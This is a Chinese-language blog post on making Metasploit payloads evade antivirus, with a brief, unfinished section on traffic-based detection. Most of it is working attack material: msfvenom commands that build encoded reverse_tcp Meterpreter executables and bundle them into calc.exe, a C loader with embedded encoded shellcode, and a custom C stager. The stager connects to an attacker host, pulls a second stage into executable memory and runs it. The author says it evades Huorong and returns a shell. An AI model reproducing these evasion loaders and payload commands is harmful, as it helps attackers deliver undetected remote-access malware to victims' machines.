Metasploit免杀和检测的一些思考

0x0 前言

      最近在学习Metasploit相关的东西,主要是基于msfvenom免杀相关的学习,由于免杀技术日新月异,更新速度快。所以本文只抛砖引玉。欢迎各位师傅探讨交流学习。

0x1 Metasploit基础知识

      Metasploit Framework 简称msf,是一款开源的渗透测试平台框架,其开源地址位于https://github.com/rapid7/metasploit-framework。Metasploit是跨平台的渗透测试框架,可以运行在windows,linux,macos操作系统下。以kali为例,Metasploit的路径位于/usr/share/metasploit-framework。

      lib目录包含metasploit的一些基本库文件,其中值得关注的是msf。这些主要是实现Metasploit的主要代码。
mark

      modules目录包含了渗透测试各个环节功能的模块,包含辅助模块(auxiliary),渗透攻击模块(exploits),后渗透攻击模块(post),空指令模块(nops)和编码器模块(encoders)。
mark

      还有其他一些目录:plugins,tools,script等也同样重要,可以阅读《Metasploit渗透测试魔鬼训练营》进行了解。

      Metasploit的payload(载荷)从传输模式上一共分为3种: singles(独立载荷),stagers(传输器载荷),stage(传输体)。关于这三种载荷的区别很多文章也有提及。

      msfvenom是Metasploit的免杀模块,具体使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64
-platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

      而现在常见的免杀套路主要是以下几种类型:

  • 采用自编码的免杀方案
  • 捆绑正常的软件的免杀方案
  • 捆绑加自编码的免杀方案
  • 多重编码的免杀方案
  • 生成shellcode的免杀方案

0x2 我的免杀学习之路

      本文采用最常见的payload:windows/meterpreter/reverse_tcp。测试免杀的效果。

      首先,采用自编码的免杀方案,这个方案的免杀强度取决于编码器的加密强度。但是随着yara规则的使用,单纯的依靠编码器进行免杀已经很容易被查杀了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.237 -e x86/shikata_ga_nai -b '\x00' -i 10 -f exe > reverse_tcp_encoder.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai succeeded with size 495 (iteration=5)
x86/shikata_ga_nai succeeded with size 522 (iteration=6)
x86/shikata_ga_nai succeeded with size 549 (iteration=7)
x86/shikata_ga_nai succeeded with size 576 (iteration=8)
x86/shikata_ga_nai succeeded with size 603 (iteration=9)
x86/shikata_ga_nai chosen with final size 603
Payload size: 603 bytes
Final size of exe file: 73802 bytes

mark

      基于捆绑正常软件的免杀方案也有着不错的免杀效果,但是还有继续改进的余地。

1
2
3
4
5
6
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.237 -x Desktop/calc.exe -f exe > Documents/reverse_tcp_kunbang.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 26112 bytes

mark

      使用多编码形式的shellcode生成的msfvenom

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.237.128 LPORT=4444 -e x86/shikata_ga_nai -i 3 -b '\x00' -f raw | msfvenom -e x86/countdown -i 3 -a x86 --platform windows -f c > Desktop/payload2.c

      然后将其编译成可执行文件,执行,但效果也不是很好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char lpBinBuffer[] =
"\xb9\xc1\x01\x00\x00\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e"
"\x07\xe2\xfa\xb8\xad\x02\x04\x05\xee\xf8\xf7\xf6\xf5\xca\x52"
"\x3d\x42\x01\x17\xf3\xe8\xab\x8b\x17\x12\x12\xf6\xe1\xed\xed"
"\xe9\xd7\x4c\x22\x62\x20\x35\xd0\xcc\xee\xf0\xe8\x4e\x1f\xc0"
"\x8b\x98\xdb\x22\xdc\x78\x10\xd5\xac\x67\x36\x72\x1b\x89\xc9"
"\x00\x06\x7c\x19\xea\x5a\x2c\x09\x09\xc6\x8c\xf6\xfd\x43\xca"
"\x2a\x8e\xa9\x2c\xec\xcb\xfe\x45\xc0\xec\x5b\x7e\x2d\xfa\x99"
"\xfc\xeb\x48\x95\x2a\x41\x40\xdf\xf8\x18\xbe\x49\x6c\x29\xeb"
"\xd2\x91\xc6\x94\x2e\x74\x5a\x05\x4f\xe5\x1d\xb4\x47\x31\xca"
"\xe9\xdc\x3a\x42\x69\xa0\xa5\x2d\x4f\x74\x99\x87\xe4\x08\xb5"
"\x52\xe6\x0c\x97\x50\xd9\x7b\x71\xd7\x40\x46\x71\x48\xa9\xa0"
"\x4c\xe2\x92\x51\xf9\x5f\x98\x52\x97\x82\x63\xa2\x4d\xec\xee"
"\xe2\x04\xd9\x36\x19\x94\xdd\x9d\xbf\x30\x5f\x50\x22\x91\x7a"
"\x24\x0b\xd0\x8a\xbd\x41\x39\x96\xb8\x8d\x88\xa7\x8b\xa5\x4c"
"\x7e\xc6\x64\x54\xb1\xf1\x5b\xe4\xa6\x7c\x82\xd1\x47\x8d\x5e"
"\xeb\x71\x73\x8a\x87\xd3\x52\x6a\x69\x49\xe7\xdb\xa5\x92\x4e"
"\xb9\x0c\x8f\x6b\x56\x83\x5c\xa1\x7c\xd6\xaf\x3b\x78\x40\x68"
"\x85\x95\x17\xd2\x33\x51\xd8\xeb\xb7\x41\xe0\xd3\xa7\xd5\x59"
"\x6b\x67\x3d\xcf\x1d\xd8\x89\xd5\x0d\xd3\x8b\x4a\x16\x33\x03"
"\xd2\x33\xe7\x8a\x92\x68\x81\xc3\x26\xd1\x65\x52\x25\x20\x7b"
"\xb2\x6f\x8b\x43\xc4\x4c\xe7\x80\x90\x16\xe3\xa7\xda\x71\x82"
"\x8a\xc7\x5f\xaf\xa0\x47\x1a\x6c\x8f\x90\xdc\x79\x52\x84\x30"
"\x41\xd3\x45\x82\x80\x86\x7f\xcb\x52\x29\x64\x51\x03\x5d\xcb"
"\xdb\x13\x80\x9c\x1a\x46\xd1\xd5\x58\x30\x79\xd6\x69\x32\x4e"
"\x7f\x8a\xab\x13\x14\x97\x5d\x96\xef\x7c\x3a\x0e\x03\xd4\x44"
"\x84\xca\x8c\x2a\x44\xd8\x3d\x17\x24\xab\xc6\x6d\x69\x0f\x72"
"\xcb\x31\x62\x19\xa9\x4a\xd1\xf9\x5c\xe0\x4e\xd6\x23\xd9\x86"
"\xd8\x60\xcf\x55\x9c\x6b\x1c\x92\xca\x37\x11\x51\x04\x44\xe2"
"\xfa\x05\xe4\x95\xa5\x4e\xf2\x70\xd5\x20\x7c\xec\x99\x05\x7f"
"\xf2\xad\x87\x36\xba\x74\x4c\xe8\x30\x3c\x36\x7a\xe7\x18\xbb"
"\x40\x88\x93\xe3\x19\x86\xda\x9a\x4b\xab\xb2\xbb\x8e\xbf\x63"
"\x52\xbc\x8d";
int main(void)
{
((void(*)())&lpBinBuffer)();
}

mark

0x3 关于免杀的新思考

      当我查看metasploit-framework源码的时候,在%metasploit-framework%/lib/msf/core/payload/windows/reverse_tcp.rb下看到了关于reverse_tcp这个payload的源码,发现实现reverse_tcp的方法很简单。

      首先,调用WSAStartup,connect等一系列Windows Socket函数链接主机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );

      然后调用recv用于接收第二个stage的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def asm_block_recv(opts={})
reliable = opts[:reliable]
asm = %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle cleanup_socket
^

      接着,调用recv接收第二个stage的内容,然后执行stage。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );

      接下来事情就简单了,我重新仿写了一个stage,因为metasploit通过Hash获取函数地址,虽然Hash值会被加密,但是仍有可能被识别。然后为了减少通过API识别的可能性,我并不想直接调用API函数,或者间接调用API函数,我决定通过仿写GetProcAddress函数,获取各个函数的地址,然后获取第二个Stage并调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int main(void)
{
//load ws2_32
HMODULE hModule_ws2 = LoadLibraryA("ws2_32.dll");
HMODULE hModule_kernel32 = LoadLibraryA("Kernel32.dll");
fnWSAStartup WSAStartup = (fnWSAStartup)MyGetFuncAddr(hModule_ws2, "WSAStartup");
fnWSASocket WSASocketA = (fnWSASocket)MyGetFuncAddr(hModule_ws2, "WSASocketA");
fnconnect connect = (fnconnect)MyGetFuncAddr(hModule_ws2, "connect");
fnrecv recv = (fnrecv)MyGetFuncAddr(hModule_ws2, "recv");
fnVirtualAlloc VirtualAlloc = (fnVirtualAlloc)MyGetFuncAddr(hModule_kernel32, "VirtualAlloc");
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != NO_ERROR)
{
printf("[!]WSAStartup");
return -1;
}
SOCKET socket = WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
if (NULL == socket)
{
printf("[!]WSASocketA");
return -1;
}
SOCKADDR_IN Sockaddr;
Sockaddr.sin_family = AF_INET;
Sockaddr.sin_addr.s_addr = inet_addr("10.10.10.293");
Sockaddr.sin_port = htons(4444);
iResult = connect(socket, (SOCKADDR *)&Sockaddr,sizeof(Sockaddr));
if (iResult != NO_ERROR)
{
printf("[!]connect");
return -1;
}
//recv stage length
DWORD dwLength = 0;
iResult = recv(socket, (char*)&dwLength, sizeof(DWORD), 0);
if (iResult == SOCKET_ERROR)
{
printf("[!]recv:%0x",GetLastError());
return -1;
}
//VirtualAlloc
char* lpBinBuffer = NULL;
lpBinBuffer = (char*)VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NULL == lpBinBuffer)
{
printf("[!]VirtualAlloc:%0x", GetLastError());
return -1;
}
DWORD dwtotal = 0;
do
{
//recv stage
int iResult = recv(socket, lpBinBuffer+ dwtotal, dwLength - dwtotal, 0);
if (iResult == SOCKET_ERROR)
{
printf("[!]recv:%0x", GetLastError());
return -1;
}
dwtotal += iResult;
} while (dwtotal < dwLength);
//for (DWORD dwIndex = 0; dwIndex < dwLength; dwIndex++)
// lpBinBuffer[dwIndex] = lpBinBuffer[dwIndex] ^ 0x123;
((void(*)())lpBinBuffer)();
return 0;
}

      这并不会触发火绒的警报,并能反弹出一个shell
mark
mark

      VT的结果如下。
mark

      通过Wireshark抓包,可以看到经过三次握手之后,首先会接收一个四字节的数据,这是stage的大小,然后开辟内存,接收stage的内容。
mark
mark

0x4 基于流量的检测

      在上一部分,我们了解到 Metasploit首先会接收四字节的值,然后根据这个值开辟该大小的空间,然后接收Stage的内容。如此的话,可能有人提出,只需要检测网络中的PE数据就可以实现对Metasploit的检测。其实不然,在实网中,数据是杂乱的,有可能数据中也存在白的PE数据,所以不能单纯的检测PE数据来确定。

      修改源码即可。def handle_connection(conn, opts={})
https://github.com/rapid7/metasploit-framework/blob/a1eef6a2c194284fe5e90be602eaa6417db51651/lib/msf/core/payload/stager.rb#L172